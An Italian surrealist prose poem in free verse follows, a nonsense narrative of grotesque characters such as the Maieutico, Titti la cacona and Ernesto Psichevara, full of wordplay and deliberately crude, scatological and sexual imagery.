ma lui è buono lui

sostiene tutti lui

è continuamente là con lo schioppo mirato

accorto ad ogni moto

mosso da pura inventiva

immagini accidentali

Suo fratello attende fuori

Tormentati del fatto che altri possano parlare ingiustamente del loro operato

serrano i rubinetti della mente

non ricordo quando li dischiusero

ma li chiudono

sicuro

lo assicuro

Arcani scivolano dalla mensa sacra in basso

verso la cripta del santo

Il maieutico del dopopranzo diviene Cicero

e asseconda un ammasso di labirinti stipandoli nella valigia cranica

la più adulta che ha portato

raggiungendo peraltro uno splendido intrigante senso di libertà intrinseca

Senza pudore percarità

libertà che a benguardare non ha il più grande degli scopi del mondo

solo futilità di vita e avversione da forze avulse al suo intento

La poesia è in ogni caso autobiografica?

Gli domanda il coltivatore di datteri

che nella bella stagione trasporta il frumento a falcidiare negli elevati pasci di montagna

Quello che è avvenuto dopo

nel corso del collasso degli elementi

a casa di Vanni

il taumaturgo piscione

dove si fronteggiano per una festicciola esclusiva:

la Teresina

la zia Naftalina

il Maieutico e suo fratello il Boia del paese

che attende fuori in compagnia del dotato di sacralità

Titti la cacona

Lettera Minuscola

il paltò del sarto

che ancora sgranocchia giugulari amatriciane

Coppo Gimondo detto Mrckhss

la Sachertorta accompagnata dal Wafer napoletano

che l’abbraccia folle

A un certo punto la virgola incespica sulla Teresina

che non si sveste mai due volte con lo stesso uomo

stramazzando sulla moquette rossa della stanza dei pensieri strani

e da lì tutto precipita

il maieutico raccoglie mozziconi disattivati dal sacco di plastica cupa che ha in mano

non è dato sapere perché lo ha in mano

poi comincia a disseminarle sulla stessa moquette rosso fiamma di cui sopra

quella della stanza dei pensieri strani

Questo da tanto fastidio alla sposa del Taumaturgo Piscione che

preso uno zucchero a velo per la coda dall’ambiente sterile del cesso

lo scaglia addosso agli sposi primaticci

che però non sono giunti ancora

ma farebbero sensaltro in tempo a riceverlo in faccia

poiché non c’è vento

Nel quintunque del batter d'occhio Titti

la cacona

esala strani concetti che evocano tutta la flatulenza dell’essere

poi

senza scomporsi

la fa lì

sul consueto tappeto rosso nella stanza dei pensieri strani

già zeppo di mozziconi estinti lanciati dal maieutico

intanto che suo fratello temporeggia fuori

Rintanati nel posticipio passato dei sensi

Letteraminuscola con in groppa il paltò del sarto piscia nell’occhio destro a Coppo Gimondo

detto Merckhss

per una sveltina urinoterapica di gruppo

dicasi Orgiasta-bombasta

Punto

La notte è precipitata giù dal letto da quindici secondi virgolasette

Sachertorta ha deciso di psicoatomizzare per via orale la Teresina

che più tardi respingerà in calciodangolo

Non c’è più niente da fare

la serata si colloca male

la mattinata sarebbe in modo peggiore

Nell’angolo catodico Zia Naftalina cessa di sognare Eta-Beta

i miti si stanno squagliando a bagno-Maria intanto che Jesubaby

denominato all’epoca Cicciotom

dissolve le preghiere in un cucchiaino d’argento

Punto

all'esterno in giardino

il Bestiale raccatta ogni natale per l’imminente venturo minimale

a tergo assume strane pose di libidine universale

innanzi sviluppa languidi e facinorosi cazzotti a dissuadere ogni tentazione evolutiva

lui resta comunque tenacemente lì

appeso all’ultimo centesimo

economizzando apnee e divincolandosi dagli ultimi nodi in gola

 Rincasando a casa trettrenta del mattino

stanza della camera a dondolo

mentre il coma s’aggira per la casa

perpetuando strani malesseri al lezzo d’orgasmi retrivi

Oscar la lavattrice

comincia a strimpellare con sguaiata svenevolezza arie degli anni tali

questa cosa rimanda in belva la consorte del taumaturgo piscione

Il giorno dopo

La sfuriata

 Masturbazioni cerebro-spinali scortate dalle proprie particelle cromosomiche

o da chi in quel momento ne avrebbe fatto le veci

bussano cazzutamente al portone dell’edificio scolastico

la targa spicca aurea

I.C.A…Istituto di Corruzione Antropologica

il custode dischiude rasentando la tragedia

getta secchielli d’umorismo a buon mercato

dalla finestra del piano sovrastante a quello centrale

quello con le virgolette per capirci

è gennaio trascorso da quindici minuti puntuali

perintenderci

dietro le quinte sembra tutta un’altra storia

L’esimio s’avverte che il regista del sovrano ha dimenticato di dimenticarsi il copione a casa

sono obbligati a girare il film

Prima scena

interno notte

mezzobusto trequarti di uno sfintere encefalico in putrefazione

Seconda ed ultima scena

esterno notte americana

primo piano

il culo va in paradiso

la merda no

 Dopo il film

per cent’anni a venire non avrebbe cucinato più

si ciba come capita

random

nella fattispecie

di vermi Malthusiani

criceti di Betlemme

asinelli del Peloponneso

rivestimenti in madreperla

appetitose esplorazioni sgonfiate

qualificate anche come sgonfiotti

fluttuofobie delle focacce

combinazioni meschine di mediocrità ben ponderata

per dessert

ali di fegato di foca obesa con testicoli devitaminizzati

Piccoli capricci importati da lontani passi

chi viene al mondo sperando

chi ha il rodaggio pronto

 Il fondotinta lo sveglia di colpo dal suo sonno impossibile

Perdio

Sbraita rauco

e si girò dall’altra puttana

quella soprassale gorgogliando

Porcavacca

La libertà è un dolce un po’ melenso che quando lo mangi svanisce sotto i denti

bello da studiare punto

Lui non comprende l’ultima frase e s’addorme daccapo

Lei frustrata si chiede quali ingredienti sono essenziali ma non n’è sicura

A volte ora finge spesso

manco coi grandi sentimenti può mascherare la sua maschera

Spesso cerca dei falò

altrettanto sovente recupera solo cerini disattivati

adoperati da altri per infiammare i loro falò

sigarette

sogni

 Introspector volteggia col suo vascello sui piani elevati

li avvista

accovacciati sulla stessa ampiezza di flusso

la stessa banda di frequenza

Così sembra osservando attraverso i cristalli nebulosi del primo mattino

In un’altra stanza

al piano di sopra

in una vasca da bagno

biancheggiantemente immane fluttua il volto di una bambola

La nave sussulta

per un vuoto di reminiscenza si trova all'imprevisto nelle veglie viscerali di un genetliaco matto

Qualcuno ha versato tutto in un grande calice e s’appresta a bere

Ruggini

pietà

viltà

sinonimi

contrari

astenuti

epidermidi

dischiusi boccioli di mente

ha bevuto

comunica da solo

è sbronzo

il sole si sta pettinando

Il giorno dopo di buon’ora sarebbero sopravvissuti tutti i defunti

Insetticidi spray per insignificanti significati

 Andante mosso spiritoso con brio e sorrisetto finale

 Un piatto di partiture tracima in testa al primo della lista

che tirando di naso si getta dal primo ponte dove Caronte

l’evoluzionista

sta sostituendo uno pneumatico trafugato forato al mercato

Non c’è adipe per gatti

Strepita il Caro Caronte dal naso paonazzo smorzandosi una paglia in un globo oculare

Non passerete dall’altra parte solo per feeling

Replica il primo della lista dei favoriti

Vedrò il muso della morte cazzo

dovessi metterci tutta la vita

 Mentre continua a marciare piano colla melma fino ai ginocchi

S’accorge che i suoi organi tattili sono diventati pasta di carbonio cristallizzato

il suo seme ha vaghi riferimenti erotici

di volata travolge quanto gli si para d’avanti

sul teschio ha un copricapo da marinaio ottomano

Genuflessa gli corre dietro per tutta la patria d’Ade

una sola cosa vuole da lui

lo scrigno d’anime posticce che trasporta nascosto sotto il mantello

trafugata per scarse monete al mercato di Fiordifragola molte epoche prima

Fluiscono gli anni i mesi i minuti i secondi la frutta il dolce il caffè

dona il suo scrigno di anime posticce al primo che capita

e s’imbarca sopra un vascello di papaveri rossi dove incontra un Dio privato

Hatù di nome

Vuole eclissarsi dall’impetuosità della madre

lei è in tutte le cose

non può farne a meno

non ne può più

gli ruba i segreti trasformandoli in minareti

si affanna a masturbargli la mente quando può farlo tranquillamente da solo

Vuole eliminarla

Sopprimere la madre non è di grande efficacia è sconveniente e cagiona sentimenti di mancanza

Gli dice il Dio nella sua opulenza

Devi rimuovere l’astrazione che hai della madre

Perché il concetto che hai della madre è obsoleto ombelicale e luttuoso

M’Hatù che cazzo ne sai

Reagisce lui nel pieno senso della sua dignità

Non ama essere inculcato per non dover sentirsi dire dalla madre che lo è

è tardi a quell’ora tarda

è fresco di giornata l’uomo appena scolpito

Né più piaceri schiaffeggiano le sue membra

né più gementi e piangenti battono al suo uscio orifizi-anali-peli-compresi

a domandar cagione di una smarrita ragione espettorar sentenze dall’alto di altari a quattro zampe

Parte per un molteplice orgasmo a quattro testine

niente lo frena più

fuorché il visuccio pallido che spunta al bagliore della luna dalla finestra mezza aperta

dalla finestra mezza schiusa

Lui scruta

lei sfuma la luce per non farsi identificare

Buca l’ultima gomma rimasta

Dopo qualche mese

nove o giudilì

sprizzerà un giuoco d’h2o

Furor natale bestiolitico

rosso fuoco il manto

oro di maggio l’encefalo

Distinguibile dalla invetriata che attornia il suo angusto teschio

Ecco io sono

Mormora

Ecco sono nato

Esulta

Non bastano più tempi profani

Il puledro scalcia di già

 Comandante vuotate il torace

Prima dell’alba qualcuno volteggerà sulle proprie utopie

Dice il luogotenente Beccaceli

Il comandante Anton Mauro Fitti Paldi ha le lame affilate

ma non vede il lunghicoltelli dagli occhi blu arrampicarsi sulla la collina alle sue spalle

Il cucù limitrofo alla boccia della linfa al limone marca già primavera e un quarto

è tardi

Troppo tardi

Le facciate del lunario volano via capo dopo capo dopo capo

A capo

Quattro colline più in là

il popolo perverso s’accapiglia sparando nel mucchio

per un miserevole brandello di soffritto atomico

Il rapporto del Generale Quartarulli detto Sanbecco decanta

Prima che la legge non ammetta ignoranza

bisogna abbattere gl’ignoranti che fanno la legge

  Nella piazza a pecoroni sciamano le folle

con le eliche sulle palle d’amianto color pelle di daino

 conservare in luogo asciutto e ventilato scadenza a breve termine

 La maschera gli sta a pennello ma non entra nel fardello

 L’unica trasgressione possibile oggi è quella che ieri era considerata normalità

 ha dei braccialetti ai piedi e alle mani

 Che l’autunno delle stagioni corrisponda a quello della vita?

 I braccialetti ai piedi sono color pioggiadorata

anche l’odore è quello

forse sono i piedi ad essere quelli ma per quanto quelli potrebbero essere loro

loro non lo verranno mai a saperlo

 Perché profumino d’incenso questo ancora non lo s’è capito

s’è capito invece perché non si sono recati alla celebrazione di Calatafimi il vetusto

che quel dio d’inverno compisce ventunsecoli venticinquecentesimi restomancia

Acquavite a catinelle piove per questo non sono andati

Batteranno il marciapiede per alcuni giorni

 Quando il culo è basso gli uccelli volano raso

 Sguardi indiscreti scrutano da dietro i massi di plastica

occhi importuni di vecchi piceni semi assorbiti dal manto stradale

 I gradini del palco ancora imbratti di sangue

tre secoli e mezzo dopo nessuno è più andato a quel paese

Un parco dei passatempi

sipario sul teatro del terrore

La ruota panoramica ruota apatica

unico cliente non pagante il vento che zompa da un posto all’altro

facendo oscillare le stridenti rugginose altalene

carta straccia nei viottoli del parco della luna

Un quotidiano letto tempo fa

la foto risalta tra le colonne

senza capelli senza cappello

il naso d’aquila

un neo sulla punta centrale del pensare

Ricardo Fiordileone se ne va rosicchiando un osso del secolo precedente

i peli del corpo incespicati nel tempo

pure quelli del pube

finanche il pube

 Barbablù frattanto

seduto sul il suo stesso pensiero

mangia una sigaretta

quelle pesanti

col retrocorpo innestato da fuliggine cinerea

Globi di cristallo cacati dall’azzurro conforme alle norme

Dietro la porta

un grigio azzurrato si tiene i fianchi stretti dalla risata

Dietro i seggi delle maiuscole nessuno finge più

 La roccia è rovente

miserabili formiche danno il sangue per un miserabile avanzo di pane

l’Aria greve entra fin dentro nelle più profonde viscere degli esseri senza tessere

Quando capiamo d’aver smarrito Erode

abbiamo già percorso cento metri umani dall’immenso salone del grande scheletro di roccia

Le cinque bobine scomparse si trovano

secondo le tavole

nella cabina del signor Mastrovadapiano della Vecchia

discendente d’antenato

nato prima che lui lo sapesse

postnato in assenza del timbro postale

dopo

e un assegno posdato in arrivo da Uoscinton da parte di un ecclesiale apostoloide apostolato

dalla missione terracquea di San Penino il Glande

Il sibilo s’è fatto violento non possiamo tornare indietro

Dalla grande crepa ci accorgiamo che il sole fuori è alto

dai muri cola una sostanza viscida color cocacola

è cocacola

fugge al tatto

nelle palme non rimane che pulviscolo

quasi niente

poche lacrime di fosco pulviscolo

il sapore però è eccellente

urlano

viva la passera

prima che li arrestino al posto d’assedio di nome Ubaldo

un posto elevato e massiccio di nome Ubaldo

ma questo l’ho già palesato

Procedendo ad altro mi accorgo che in quel dunque nevica

a tempo smarrito ma nevica

quando arriva d’oltralpe Antombucchi Palese

Passeo per i compagni poiché ha gli occhi a Fiordipanna

un paese lì limitrofo

Molte volte fa fatica a sollevare le patate

il quadrupede infecondo gli da una mano con la coda

ogni tanto

quando gli tira il deretano

il mulo parla una lingua bislacca

a scuola è stato un somaro

fabbrica ciarle senza senso

quando pronuncia gli discendono i cucchiaini sulle i

Passeo si conduce a quattr’occhi

con un bimbo gatton gattoni che strimpella il piano a quattro mani

con un pianista dalla lingua biforcuta

l’equazione è facile

agguanta un equino

fa la sottrazione

ciò che resta lo mangierà il giorno dopo a colazione

che tanto poi alle sette e un quattro sarebbe arrivato Balaustro

il lucidatore di lumache da corsa

ha conquistato cinque trofei d’orate

sei chiocce tedesche in do diesis perché fanno kokkoddoi

una galla austropiteca incazzata che avrebbe potuto fare kokkoddio

ma si trattiene per rispetto dei pulcini che sono pii

molto pii

pii pii

Il totale fa diesis

Dopo tutti questi premi conseguiti si ostina ad allenare ancora le sue lumache

ma alle corse ormai arriva sempre tardi

finisce tardi e di solito non pulisce il vate

i versi imputridiscono sotto il carico del suo ponderoso e affardellato culo del cazzo

Punto

e a capo

 Atroci perversioni aspettano all’estremità d’ipotenuse

incapaci di mantenere equilibri con la qu di qualsivoglia incombenza

Il dubbio si scaglia come saetta

Due esemplari dello stesso tomo?

Un libro per tutti i destrieri assetati di cultura?

Coltura forse

menzione o minzione per ovomaltinici frutti squamosi e bituminosi d’oltremanica

e se non si capisse l’antifona?

non è che l’abbia capita molto neanche io

di manicomici sconquassati bimbi che in età adulta mangeranno ancora col cucchiaio dell’incoerenza

 Riusciremmmo poi a riguardar le belle con tante elle giornate assolate di ottobre o giudilì

e potremmo anche tener loro compagnia

mentre cacche lesse dal sole leggono la messa della novena incatenata

abbreviata all’esigenza per insufficienza di ore

di fronte al santuario della Vergine Allucinogena

Per le vie sfilano vecchie crisalidi

Cariatidi incotennate

incatenate d’avorio mani e piedi

le accompagnano a discreta distanza

un Bianco Socadò con le sue organze ascensionali a velare papule purulente

succulente leccornie iniziatiche

un tecnotubo a scanning laterale

messaggero di massmediologici messaggi

peripatetiche persuasioni e avanguardie mistiche

un giallo rossiccio e un giallo giallastro

uno stupro affumicato con gagliardi perpendicoli al seguito

due verruche Zoppas

venti efelidi indie

quattro rex gloria mundi

una mondina col cappello in bocca

in compagnia di una suora che sorride sempre intitolata Suor riso

altre mondine con in bocca altre cose indefinibili indefinite ma belle turgide

cento mondane colla veste da puttane

una puttana colle scarpe a transizione extrauterina

venti levatrici

venti posatrici

un ventilatore alato al lato del corteo a sventolar le gonne matrilinee

5 trentilatori appesi al ciglio della musica per raffreddare i gelati allo scoglio

Che i tritardi si sono trasportati da soli dalle lontane montagne del Gozzo Vico

Poi ci sono

un goliardo che spilluzzica liquerizie liquefatte appollaiato sulla riva di un biliardo prosciugato

quattro mosche di velluto frigido a tergo

che avendo sentito l’esalazione del liquepardo

spingono ansanti di vanagloria e malcelato orgoglio

gorgoglianti di fragranza stantia e vecchi elisir spaccabudella

Completano il corto corteo

un soprano e la sua sottana a braccetto per le vie del suburbio

un miliardario

due biliardari

tre triliardari

quattro del quadrifonico rimasti senza pittore per gli artigli

Ormeggiate al suolo con una nappa di ghirlande ci sono

sette cosce di formica affumicate

una persiana a gambe aperte

la cacca di mosca a cavallo della cacca di vacca

recante al guinzaglio un foxterrone del nord

all’uscita della strada vicino al fiordo centrale del paese attendeno

un filisteo

un samaritano colla sua pochette imbottita di melensa bontà del Cazzo

un monte sopra Pechino chiamato così per la sua strana forma vaginale

insieme a un barracuda a tariffi lacerati

e me

giochiamo a unduettre stella mentre Aldo Buchi ostenta la favella

 Tincastro mincastri dinchiostro timpiastri titingidinero però non è vero

Dice il signor egregio dottor sindaco di Guastamelata alla fine della sfilata

Il signor egregio dottor sindaco è un granduomo

proprio così

di grossa levatura morale

Proprio così

di grande gesso acqua fredda e sanguimbocca

proprio così cazzo

in parole miserrime un baccala

o qualdirsivoglia stoccafisso

duetti di lonza uno di mortadella e una fettina di parmigiano bentesomiraccomando

 F  l  a s  h  b  a  c  k

 Sono le ore tredici del tredicesimo millennio dopo Maicbonjour

Dice il venditore viandante

Serve niente signora tettona?

solo un chilo di burro per questa sera

dice la signora tettona

sa io e il mio sposo celebriamo proprio oggi l’estremo tango a Parigi

Fa freddo quell’estate

in tintoria i cappotti non sono pronti e non sappiamo di che spogliarci

Grazie per l’appetito

dice il commesso viaggiatore

tale Petito Alonso,

per gli amici stronso

per la moglie ruffiano di prima fila

La verità è inversamente proporzionale alla ricchezza

Risponde la signora tettona

Che cazzo c’entra

Stucca l’Alonso sbattendo il chilo sul banco di servizio

 C  o m  e  b a  c  k

 L’intima capacita di respirazione a volte toglie la brama di sanare i patonzi

facendo sì che ometti di modesta entità essenziale cadaverino al suolo

ammarando cordialmente sul campari delle seiettrenta

Il sindaco è un uomo vendicattivo

propriocosì

Ma è un uomo anche molto cattolico

questo fa sì che appaia al popolo come un hombre vendicattolico del tipo Occhioperocchiosessantaquacchio

 Porta canestri per via degli incesti

parallela a via dell’Arca puttana quella della ricerca perduta

altrove ingoiata persa sparita

Lo chiamano Sottovoce

colla testa bassa a sfiorar le sue pantofole da pedemontano

pedestre sultano che alle tre di mattina mangia il divano per Via dell’insonnia

parallela a Via della Madonna Parallela

Improbabilmente saluterà il nuovo anno con un piatto di rigatoni

nella sua casa all’estremo piano della sfera celeste

al piano di sotto invece

una donna svergina un pollo appena comprato pensando in cordis sia una polla

Al piano laterale al mio

quello con le persiane a forma di cuoricini sudafricani

un’attempata signora di tredici anni sta allestendo un pasto formale a mo’ di pitale

e lo dà in pasto al commensale di turno

sperando in quorsuo che l’agriturismo di turno non sia chiuso per turno

 Ben inteso

io non ho verità da dare ai torchiati dalla vita

ma qualcosa posso ben fare

per esempio

cucinare favelle alle tre di mattina per mettere in scena la cena del delitto perfetto

oppure

dire a Babbonatale che si è cresciuti e desiderare castighi maturi

sparare la befana dalla canna del camino usando lo stesso carbone che ci ha portato in dono

e non ultimo

stropicciare i fantasmi nelle notti destate all’improvviso

che ti fanno trasudare sotto le lenzuola senza sapere il perché

Chi c’era in fondo al campo lo so solo io

so solo altro che non dormii quella notte fino alle sei di mattina

In seguito per distrarmi giocai a malasorte per trent’anni col buco del diavolo

che non lavava mai

che puzza perdio

 Il giorno della crocefissione cerco invano un’insalata al dente

condita d’aceto

per imbalsamare i circuiti indifesi della memoria

Quanto zucchero ci vorrà per fare una banana?

Nessuno può impedire

nessuno può sapere

anche perché nessuno è presente in quel dunque

quindi nessuno fa

ma cavalcando il flutto del verosimile aiuto mi ritrovo nel vestibolo del mio encefalo

quando lo strizza mi chiama dicendo

Caro signore lei è sano come un pesce malato d’ulcera pluriglicemica

con puerilità semi defogliante incompleta di semafori acustici

e feritoie per gli spari al nemico

Alche mi schernisco poiché il viso gli brilla ancora di tenerezza immacolata

e aspettando Ernesto Psichevara mi scavo la fossa

quella nella quale collocherò in seguito dodici uova di airone deflorato

 L  E     U  O  V A     S  I     S C  H  I U  D  O N  O

 Un’incursione di panico con imboscata mi prende alla gola

imperlato e imbibito di sudore artico rimango immobile di paralisi fissità

Certe mie utopie

quasi tutte

cadono in disuso

il terrore scala di gradi la mia febbre massiccia in tesi non dubiti

Non so più scrivere il mio nome

nemmeno al contrario

neppure il cognome

Non vivo

non scolo bottiglie

non ascolto l’arte dei suoni

non confeziono più barbe simulate

non ingozzo siringhe

non stornello più la cantica d’Ernesto

non manovro più pistille sparnanzate

non faccio feci

Stipsi pianificate a tavolino usurpano di dolci e ariose fragranze le mie stanze del mezzodì

Nomi svariati solcano un ponte nel lontano marasma denominato Mammata

schivano pietre e bufali fuori dalle rotaie

ardendo adagio

qualcuno chiama

altri non risponde

l’epilogo è garantito

il principio non si sa

 Ernesto soggiorna in una bolla di spuma da peli

i suoi pensieri sono eccellenti smaglianti geniali

ma purtroppo per lui non pensa mai

all’interno della sua bolla ha tutto

tutto ciò di cui si può aver bisogno

anche qualcosa di cui non si dovrebbe aver bisogno

anche qualcosa in cui scaricare il bisogno

insomma ha di tutto tutto

una brocca d’acqua vuota

una spiga di grano tenero vuota

una pelliccia di baccalà

un cesto di vittime illese dalla sua crudele comicità

vuota ormai anch’essa

ultimo

uno scrivano fiorentino senza peli sulla lingua

Nella bocca di Ernesto vige sempre il coprifuoco

un sapore stagnante

amaro

da secoli ha invaso anche la sede del giudizio universale

che ancora deve spuntare e fa un boia male

un sapore amaro come di shampoo e balsamo al duepercento e ha paura degli aghi

Nella sua casa nulla è spigoloso

niente di tagliente

niente di piccante

tutto ha forme tonde

tutto è liscio tranne la sua faccia da cacciatore di caciotte

per questo non dorme mai in casa

s’appollaia sul suo ottovolante privato arrapato a destra del piano montano

col pertugio anale cinguettante al di fuori di certezze primordiali

è come se flirtasse col destino

tutto quello che gli capita è fuori rigo con falsa riga di sudorazione

cancella tutti i ritratti di sfacelo che ha immagazzinati nel file biologico

divulgando insani fastidi prorompe in insoliti ritmi tribali

tirando fuori la lingua per cercare di bere all’amara fonte della realità

Il militare sta facendo di tutto per liberarsi della bella

senza soddisfazione suona il flauto tutta la notte

cercando invano delittuosi pertugi stellari

per lui in questo momento di vitale memento

 La voce del gracchiofono suona sommaria a quest’ora tarda

Il crepuscolo ha inebriato di rosso i cadaverici palazzi in miflex della periferia

dove non sono ancora arrivati i proiettori mentali di notificazione

Non servirebbero in ogni caso

poiché da quelle parti ancora non esistono gl’installati

i riceventi

gli integrati

In quei vicoli

in quei cunicoli di bianchi giganti mattoni

vivono disarmati i fuggiaschi

la feccia

lì vive chi per il grande sistema non è degno della libertà civile

la prigione della città

la mensa delle epoche

dove si nutre la storia e caca la memoria

ridicoli senzatetto apprendono i postumi dell’infinito nel bagno del padrone pieno di lavandini

sfiorando pollici di basso volume

Austeri degustatori portatili di parvenze miserrime

polifosfati ingigantiti dal gusto apostrofino di stilettate performazioni ipnotiche

Anche qui la primavera assume aspetti da conquistatrice

Barbara strumentazione microsomoidale dettata da ulteriori sgravi psichici

stretti in parallasse con circoncentrici tipi maschi a sfondo parasessuale pluriconcentrato

su masmediologici ammassi di plutomarmellata cosmica

con sintesi bilaterale obliqua e yonizzazione parafrasante

Per degustare tale rarità di misfatti si dovrebbe tornare all’età della sfinge paralitica

tra le virgolette piantare dei semi di puntevvirgola

poi stirare il tutto a centocinquanta gradi superiori alla scala Richter

Ma

Purtroppo

lo sfintere cosmico è costellato di Asdrubali saltalenanti con mitigazione infinitiva a visualità totale

spero tanto che un giorno mi farai infine il caffè come piace a me

 Come dico io

come dicevo una volta tanto tempo orsono

tale spinta di generosità ambigua a fissazione pluriennale è

a volte

non sempre

quasi spesso

spesso sempre orsù

ovvia avvolte delle volte infondo infondo

sintomo di fissità planimetrale con sconvolgimento misurato

ma sempre al dente

 Certo che aspettare Godò alle cinque di mattina

con l’aria che puzza di spettri e una sistemazione della faccenda cosiddetta alla bellemmeglio

Se non altro per quei pochi caratteri di lucidità

che a volte rimangono a chi fa surf sott’acqua a quell’ora di mattina presto

Mi dispiace baby

non c’è tempo per la favola di mezzanotte

 E pensare che a volte mi chiedo anche

Quando torniamo al punto di partenza che ho perso da tempo il cammino?

Nessuno mi risponde mai

Forse perché cromosomi scansafatiche somatizzano tinte nuance degradè

balbuziando in me come melliflui saltapasti della domenica nella riviera delle palle

Lui pensa che niente al mondo lo farebbe smettere di pensare

che nient’altra qualunque quintessenza

quantunque quel quale quantitativo quorum di braghe vergini gli farebbe cambiare idea

E così prende la palla al balzo

comincia a menar fendenti alla vita che si dirama in mille congiunture improbabili

Impossibili ma accettabili

Accettabili ma con riserva

Che il caso voglia non sfruttare a corto sospiro vacanze proibite appese alle palle di fine millennio?

La pialla non scava una fossa si sa

ma il cibo fonte di strane strategie mondiali è strategicamente stato mangiato tutto

tutto da poche bocche abituate a cibarsi col culo

Col senno di poi

Cade la fiducia come neve

è finita

È la morte lenta della vita

 Il miracolo invece avviene

quella sera stessa al declino della luna alle falde del monte Profumo

Lui scende giù rotolando

mentre rotola rolla una sigaretta al rosmarino

Nessuno ha voglia di fare il tè

Quindi bussano alla porta tre imperatori che rifilano gratis effluvi

Cantici

Salmi

Inni

Laudi

Stornelli solenni

Putrefazioni a buon mercato moralmente alterato

liquami

marciumi

fradiciumi

malcostumi ed altri marchi e mutazioni allegoriche

tutto gratis

Nessuno vuole comprare qualcosa e li mandano a cacare

Ma poi i dubbi rimangono ugualmente lo stesso

come fare?

Dove guardare?

Chi espletare ai propri orifizi?

 Siffatto quadrilatero è fuor di misura stretto

mi va ponderoso l’elmetto

Esclama Ernesto Psichevara al simposio del sultano Doutdes

con lieve cardiopalmo

Nessuno ha bubbole da menzionare

nessuno le racconta

Ernesto apre intero il cervello

scopre nell'interno tutto il potere

ne lascia un po’ per sé

divide il resto tra i comandanti di plotone

La via è tremenda

nessuno si nasconde ormai più

Il vino seda i pensieri

l’aceto insaporisce gli arcani

nel Perù nel frattempo si viaggia a testa in giù

ma qualcuno comprende

il trucco è tutto nell’orgoglio

Ernesto discende allora ai piani inferi per una colazione di lavoro col bel Zebù

lo riceve con tutti gli ossequi nella grande aula dei caminetti smorzi refrigeri

che si colloca tra il girone degli oberati e quello degli immutabili

poi traslocherà

Sprofondati su abbondanti capezzali capezzoli di peti con merletti marroni

serviti da anime posticce griffate

U.S.A. & Jet

Il bel Zebù è cariatteriorizato dai suoi cariatterioristici mustacchi rettilinei

i suoi altrettanto occhi rizzati da moicano astruso

orecchie sempre e comunque scaltre

e manco a farlo deliberatamente

capelli invasati da una forma languida di uniformità apostolica

sintattica e melodrammatica

Ernesto non sa più che fare

insieme hanno debellato il maldimondo

Utilizzando pasticche di condensato lunare

ma i lunatici

inappagati

cigolano agli angoli nel corso dei tornei intercontinentali di calcestruzzo

un gioco giocato in velocità due piani più sopra nel girone dei koglioni kolla kappa

Per quanto tempo ancora ci dovremo contentare soltanto delle medaglie al dolore?

Per quanto tempo dovremo continuare a vincere all’ombra delle grandi locuste cicerchiate?

L’ansietà coglie Ernesto tra capo e collo

senza meraviglia si cala le braghe e si mette a stuprare l’orologio da polso che Belzy ha in mano

senza provare peraltro alcun tipo di contraccambio ambientale

dicasi Triciclaggio

Perfetto

Grida dall’alto dell’alveare l’ape regina madre scopennandosi il re-padre di due bei pargoli coronati

poi mostra una foto e dichiara

Queste sono le mie perversioni

stipare nello stipetto vicino agli altarini bleu

Dalla vetrata del cranio s’intravede la sua voglia di vita

greve e melanconica

colare giù dagli occhi pitturata d’avorio

Ad un tratto nell’aula dei caminetti la temperatura aumenta

questo non impedisce di certo a Psichevara di bruciare le tappe

ha in testa sempre lo stesso motivo fisico-musico-lisergico d’acquisto in Messico di sottogamba

S’alza di scatto

allaccia la patta e urla allontanandosi dal Bel Zebù

Arriverò per te fino all’orlo del tempo

Scavalcherò l’orizzonte degli eventi

Pescherò reflussi gastrici convenienti

Grazie

Urla ridendo l’altro

facendolo sparire in effluvi d’incenso allo zolfo di raganelle che usa solo nelle grandi occasioni

 è tutto così veloce atroce

la piana della foce riflette oro zecchino

I lupi seguono il primordiale odore

Un neutro a quattro zampe beve acqua sorgente a zampilli dall’antica fonte delle illusioni

Le pietre levigate dal tempo non rispondono più a tutte le domande

genuflettono atroci vandali allo scemare del vecchio mondo

il primordio odore da uno squarcio a carne viva

regalo delle pingui genti che scottano carne umana prima delle battaglie

per procurare carne umana da mangiare prima delle battaglie per procurarla

huuff!

 Ernesto si ferma di colpo

la luce del mondo illumina la notte

al confine fra cielo e terra negli ultimi bagliori del giorno si scorge il profilo del naso di Caronte

leggendario traghettatore di capre e cavoli di cui questi ultimi solo a merenda

impresso da immensa mano sul massiccio che sovrasta la piana

Lui è forte

ha l’arma

Nel Pleistocenatomangio è il più forte lui

ha l’arma

ancora

Mille Jene su di lui s’avventano frignando all’unisono

ma lui è il più forte

L’arma è un visore a raggi obliqui

L’arma stordisce gli utenti colpendoli nei punti encefalici del corpo

L’antico miraggio della pianura fisso là nei secoli

come pietra scavata nella roccia

le immagini della grande battaglia

Dopo

roso il naso di genti imperturbabili

improbabili marasquen genuflessi

prostrati-odiati all’ombra dell’onda torcono viscere bevendone la linfa

Chi paga la cena?

 Suoni infami stordiscono il cerebro

non è più lì

non sa dov’è

non sa perché

Ernesto s’alza dalle nebbie

attraversa sbadato psicosomatismi infetti d’innominabili oblii

mentre pusillanimi malfamati usurpano e devastano strade prelibate

apparecchiate per l’ultimo banchetto d’inverno

Qualcuno deplora i rotti piatti sporchi

Piatti in meno da lavare

Gridò Miranda dal girone degli indaffarati

 Fiumi di parole

Invocazioni

Imprecazioni

Maledizioni

Invettive

tutto è adulterato senza limiti di prefisso

Sconvolgenti pronomi migrano a nord verso borghi tristi

fatiscenti teatri di agghiaccianti sodomie con veterani porci della parafrasi

 Alcuni inzuppano nel piatto dove sta mangiando il corto renudo

rivestendolo a satollamento per il futuro giorno dell’amara realtà

 Perversi migratori riappaiono dal sud e investono in fondi di caffè

per ripiombare subito dopo in un sonno profondo già durato millenni

e millenni sarebbe durato ancora senza rubare tempo ai preti delle corti

 Ernesto sbaglia tutti i quesiti stradali

ma si prenderà la rivincita il giorno del suo ennesimo compleanno

Ernesto sbaglia tutti i quesiti primordiali e da oggi non si fermerà più

 Prodotti chimici

è scritto sul pacchetto

Fuma ingordamente

Magnifico

Splendido

Intrigante

indossa un abito di melliflua seta

sfrega tre volte la lampada

ne esce fuori uno sciocco elemento di scarsa entità

intenzionalmente perverso

La storia poteva anche concludersi qualche paragrafo prima

ma lui non folle di eventi eclissati continuerà per anni a tracciare il suo nonsenso

Finisce di riscaldare il piatto di cipolle alla fragola donatogli il giorno prima da un pensiero maldestro

sì nutre dei suoi effluvi

Antichi e fiacchi maestri allettati dai primigeni puzzi marciano alle porte del suo benessere

alcuni corazzati di sacrificale deismo

altri nudi

fino allo spasmo

Il freddo ghiaccia la brama di ammazzare

 Suoni tribali inondano la vuota stanza

nessuno sogna più

forse è un bene o forse un male doveroso

c’è negazione nell’aria

troppa
